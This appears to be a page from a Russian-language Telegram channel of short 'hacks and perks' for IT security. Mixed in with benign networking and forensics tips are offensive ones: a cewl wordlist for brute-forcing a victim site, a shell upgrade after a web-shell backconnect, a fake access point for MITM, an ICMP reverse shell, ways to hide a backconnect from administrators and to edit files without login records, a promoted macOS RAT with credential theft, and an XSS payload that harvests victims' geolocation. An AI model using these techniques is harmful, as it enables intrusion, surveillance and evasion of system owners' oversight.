Hacks & Perks
170 subscribers
2 files
33 links
This channel is intended to provide and share experience related with IT/IT Security
加入频道
Когда нужно создать словарь для брутфорса на основе какого-либо сайта:

cewl -m 4 -w ./dict.txt http://victim.com

(c) @offsec

#dictionary #bruteforce #hacks
Когда сделал бэкконнект через веб-шелл на свой сервер и хочется интерактивного шелла:

python -c 'import pty; pty.spawn("/bin/sh")'

и можно развлекаться по полной :)

(c) @offsec

#tty #webshell #python #backconnect #hacks
Когда нужно быстро развернуть фейковую точку доступа, но на руках только андроид телефон (даже чужой):

1. Идём в настройки Android
2. Создаём свою точку доступа
3. Идём в настройки APN и прописываем прокси сервер (IP, port)
4. На своём VPS разворачиваем прокси-сервер, например Bettercap
5. Профит! Имея любой андроид телефон можно за минуту развернуть свою точку доступа, где открытый трафик будет бегать через твой сервер

(C) @offsec

#mitm #proxy #pentest #hacks
Иногда proxychains не справляется с приложением и не может перенаправить трафик через сокс-прокси.
Для таких случаев (и не только) есть утилита tun2socks, которая создает виртуальное сетевое устройство TUN.
Решает все проблемы капризных приложений. Уровень абстракции на сетевом уровне ниже только tcp.

./badvpn-tun2socks --tundev mytun --netif-ipaddr 10.0.0.1 --netif-netmask 255.0.0.0 --socks-server-addr 127.0.0.1:12345

И конечно же надо добавить роуты.

#hacks #proxy #socks #tunnel
Иногда бывает ряд факторов, которые мешают установить reverse shell. Преграды бывают разные. Это и брэндмауер, и IPS/IDS, и другие сложности.

Если всяческие попытки тщетны, а shell на Windows машину установить надо (можно адаптировать клиент и на *nix системы), то есть такая утилита под названием icmpsh.

Запускаете мастер ноду у себя на Linux системе. И следом стартуете клиент на машине-цели.


https://github.com/commonexploits/icmpsh

#hacks #icmp #reverse #shell
Бывает так, что вам нужно считать пароль либо любую другую текстовую информацию с RAM на хосте.

В таких случаях здорово выручит:

sudo dd if=/dev/mem | cat | strings

#perks #hacks #ram #volatility
В ситуациях, когда нужно подправить конфиг удалённо, на помощь приходит vim + scp:

vim scp://user@host:port//path/to/file

hint: файлы редактируется без записи в utmp/wtmp/btmp ^_^

#perks #hacks #vim #scp
В продолжение темы про VPN.

Если вдруг ваша демократичная страна/провайдер/родитель заблокировал(а) VPN/Tor по сигнатурам трафика, то на помощь придёт obfsproxy.
Эта утилита обфусцирует трафик так, чтобы в итоге DPI не может определить его по сигнатурам.

https://github.com/isislovecruft/obfsproxy

(c) @offsec

#perks #hacks #obfsproxy #openvpn #DPI
Ещё один способ обхода — это запуск OpenVPN через TCP протокол с TLS на 443 порту.

Однако стоит заметить, что порт TCP/443 не всегда бывает свободен.

Допустим у нас есть три сервиса, которые желательно спрятать за один порт:
1) SSH (22)
2) Nginx SSL (443)
3) OpenVPN (1194)

Переносим настройки с файла example.cfg (можно найти в репозитории github[2]) в /etc/sslh.cfg, правим роуты наших сервисов.

Hint: рекомендую повесить nginx на localhost:443.

[1] http://www.rutschle.net/tech/sslh.shtml
[2] https://github.com/yrutschle/sslh


#perks #hacks #ssl #vpn #multiplexing
Как без лишних заморочек замаскировать свой бэкконнект от невнимательного администратора:

в PTR-записи прописать localhost.localhost , что позволит при выводе команд (lsof -i tcp/netstat -alt/ss -pnt) замаскировать коннект в виде - hostname.localdomain->localhost.localhost:https (ESTABLISHED). На практике такие подключения могут жить месяцами, а то и больше.

Отдельное спасибо Никсу за такой топовый совет👍

#hacks #backconnect #masquerade #pentest
Бывают такие ситуации, когда есть bash-скрипт, в котором могут находиться какие-либо данные, и Вам не очень хотелось бы, чтобы их знал кто-то другой. Либо Вы решили подзаработать и написали скрипт на заказ и не хотите показывать заказчику plain-text сорсы, пока тот не оплатит вашу работу и т.д. и т.п.
В таком случае на помощь придёт shc (Generic shell script compiler), который может транслировать Ваш bash-скрипт в C код, который позже можно откомпилить средствами GCC. Присутствует в репозиториях основных популярных дистрибутивов. Но на всякий случай вот вам линк

Из плюшек имеется:
* при компиляции указать срок жизни бинарника
* указать своё сообщение по истечению срока жизни бинарника
* есть фича пароноидальной безопасности, когда бинарник будет выполняться только в Вашей системе.
* можно указать свои флаги компиляции (-O2 -flto -ffunction-sections -Wl,--gc-sections -fno-asynchronous-unwind-tables -Wl,--strip-all).

©@offsec

#perks #hacks #bash2binary #security #gcc
Добрый день, читатели!

Раньше бытовало мнение, что если у тебя Linux, то ты неуязвим. Тоже самое было применимо и для MacOS (несмотря что ещё во времена milw0rm.com был Month of Mac OS vulnerabilities).

В наше время уже почти все не сомневаются в том, что любая платформа уязвима — и вопрос только в степени распространнености, в трудовых и временных затратах.

Сегодня я хотел бы рассказать про один приватный RAT для macOS, который был популярен в Darknet в англоязычном сегменте. На днях он стал открыт для мира.

Если вам нужно закрепится в системе, иметь удалённый доступ, собирать инфу или же просто контролировать свой парк машин (😏), то знакомьтесь с Bella

Bella — это TLS реверс-шелл для удалённого администрирования macOS. Bella умеет в следующие вещи:

● TTY эмулятор
● Upload/Download файлов
Reverse VNC Shell
● Автоустановка (unattended)
Запись и стрим с микрофона
Перехват пароля от AppleID
● Извлечение authtoken'а iCloud'а
● Извлечение паролей и истории из Chrome/Safari
● Перехват паролей от Keychain
● MiTM из коробки (установка своего корневого сертификата и проксирование HTTPS трафика— при наличии рута)
● и куча других фич

Жаль, что такой софт стал достоянием известности. Но скажем спасибо manwhoami, который реализовал большую часть функциональности оригинального софта.

#perks #hacks #remote #reverse #rat #macos #bella
В последнее время я много работаю с сетью на уровне ОС. Это связано с моей деятельностью в сфере ИБ. Одним из последних таких проектов была самообучаемая нейросеть для IDS.

Существует известный в узких кругам мем: "У меня локально всё работает". Чтобы избежать подобных моментов крайне необходимо покрывать ваш код юнит тестами. А в случае с ПО, которое активно работает с сетью, в добавок нужно учитывать сетевые аномалии и прочие реальности сурового мира в виде задержек, упирание в количество открытых сокетов и т.п.

Как много людей задумываются о подобных вещах? Что отличает хорошего инженера от не очень хорошего? Перед тем как запустить свой проект в продуктив я озадачился подобными вопросами. И сегодня хочу поделиться с вами с тем, как искусственно добавить задержки в ваш интерфейс.

Допустим у нас интерфейс eth0, который слушает вас софт. Необходимо добавить задержек, чтобы прояснить как себя ведёт сервис. Во многих дистрибутивах есть такая утилита tc — Traffic Control, которая позволяет управлять сетевым интерфейсом.

Давайте попробуем добавить latency, изначально замерив задержку:
m@centos in ~ : ping ya.ru
PING ya.ru (93.158.134.3) 56(84) bytes of data.
64 bytes from www.yandex.ru (93.158.134.3): icmp_seq=1 ttl=58 time=45.2 ms
64 bytes from www.yandex.ru (93.158.134.3): icmp_seq=2 ttl=58 time=44.4 ms

А теперь добавим задержки:
m@centos in ~ : sudo tc qdisc add dev eth0 root netem delay 700ms

И замеряем вновь:
mark@centos in ~ : ping ya.ru
PING ya.ru (93.158.134.3) 56(84) bytes of data.
64 bytes from www.yandex.ru (93.158.134.3): icmp_seq=1 ttl=58 time=745 ms
64 bytes from www.yandex.ru (93.158.134.3): icmp_seq=2 ttl=58 time=744 ms

Как мы видим latency возрос так, будто бы мы используем GRPS для коннекта. Данный финт здорово помогает , если ваше приложение полагается на timeout. С помощью данной фишки можно отловить баги, которые вы бы никогда не обнаружили на своем dev сервере.

Следующим шагом можно лимитировать пропускную способность интерфейса. Это бывает важно, когда необходимо определить, как себе будет вести софт при большом количестве входных данных с малой пропускной способностью.

mark@centos in ~ : sudo tc qdisc add dev eth0 handle 1: root htb default 11
mark@centos in ~ : sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 10kbps
mark@centos in ~ : sudo tc class add dev eth0 parent 1:1 classid 1:11 htb rate 10kbps

Теперь попробуем замерить скорость путем скачивания файла:
mark@centos in ~ : curl -L http://mirror.neolabs.kz/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-1611.iso -o centos7_x64.iso
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 680M 0 3291k 0 0 15k 0 7:50:23 0:00:07 7:49:46 10k

Можете замерять и iperf. У меня его не было на тестовой машине.

Помимо выше описанных фич tc поддерживает:
● gact — управление пакетами, своего рода классификатор трафика. Позволяет отбрасывать, переклассифицировать пакеты.
● mirred — зеркалирование трафика на другие интерфейсы
● nat — ну вы поняли
● pedit — изменение пакетов на лету. Данная фишка очень мощное оружие в руках w/b/g-hat'а. Позволяет манипулировать трафиком как заблагорассудится. Использует вкупе с csum
● csum — пересчитывает контрольные суммы пакетов. Раз уж подделал, то соизволь сделать всё по уму.

Покрыть всё в рамках одного перка не представляется возможным. Поэтому вот список ссылок для дальнейшего самостоятельного изучения:
ArchWiki
LarTC
OpenNet
#perks #hacks #trafficcontrol #tc #shaping #throttling #network #КДПВ
Если вы расследуете инциденты, то уже встречались с такой категорией работ, как forensics.

Да, зачастую вас выручит Volatility Framework и binwalk. Однако бывают моменты, когда руками сподручнее, либо нет другого варианта. А знать наизусть многие форматы не все готовы. (Я разве что знаю ZIP, GIF, JPG, ELF, PE EXE, RAR и MP3).

Чтобы не испытывать затруднения в таких ситуациях есть на гитхабе репозитарий с описанием структур популярных форматов файлов.

Пригодится не только в исследовательской деятельности, но и при разработке ПО.

#perks #forensics #fileformat #headers #hacks
Если в сети есть Windows DHCP-сервер, то можно быстро получить лог файлы DHCP-сервера с помощью следующего баш-скрипта:

#!/bin/bash -x
SMBGET=/usr/bin/smbget
DAY='date +%a'
HOST=smb://IP/C$/WINDOWS/system32/dhcp/DhcpSrvLog-$DAY.log
LOGIN=yourlogin
PASS=your
password
cd /tmp
$SMBGET $HOST -u $LOGIN -p $PASS
yes | /bin/cp -if /tmp/DhcpSrvLog-$DAY.log /var/dhcp/DhcpSrvLog-$DAY-'date +%Y-%m-%d'.log

Можно также парсить эти логи и реализовать мониторинг на коленке.

(C) @offsec

#dhcp #windows #hacks #perks #samba
Всем привет!

В наше время становятся актуальными блокировки веб-ресурсов в разных странах. Нет, это пост не про VPN и прокси.

Сегодня я хочу поделиться быстрым лайфхаком, как можно быстро получить информацию с заблокированного сайта.

Есть такой ресурс tesoro.io. Автор изначально делал его как архив веб-страничек. Добавляете интересные странички и они остаются в архиве.

Однако никто не мешает добавить ваш заблокированный URL и получить к нему доступ.

Это очень актуально, если под рукой нет ни VPN, ни SSH, ни прокси.

#perks #hacks #censorship #tesoro #proxy
Всем привет!

Сегодня кратко и по делу. Если вам нужен дешевый VPS с хорошими TTX, то хватайте предложение пока идёт акция от Alibaba Group. $30 за 1 год аренды сервера.

Они метят в нишу амазона. Я думаю что своего клиента они так или иначе найдут. А нам, клиентам, лишь профит.

#hacks #perks #vps
Привет!

Сегодня немного фишек с деаноном при XSS. Наверняка многие замечали в браузерах фишку с геолокацией.

Так вот знайте, что геолокацию можно использовать и своих целях.

Вам всего лишь нужно найти XSS и повесить туда следующий скрипт (с правками само собой):

navigator.geolocation.getCurrentPosition(function(o){console.log("Lat: "+o.coords.latitude+"\nLon: "+o.coords.longitude)},function(o){console.log(o.message)},{enableHighAccuracy:!0,timeout:5e3});


Данный скрипт обращается к Geolocation API (подробности описаны на MDN). Конечно, для получения координат пользователь должен одобрить запрос, однако если сайт уже работает с geoapi, то скорее всего там уже всё разрешено.

И скрипт в нормальном виде для восприятия:
navigator.geolocation.getCurrentPosition(
function(position) {
alert("Lat: " + position.coords.latitude + "\nLon: " + position.coords.longitude);
},
function(error){
alert(error.message);
}, {
enableHighAccuracy: true
,timeout : 5000
}
);


#hacks #perks #deanon #xss #js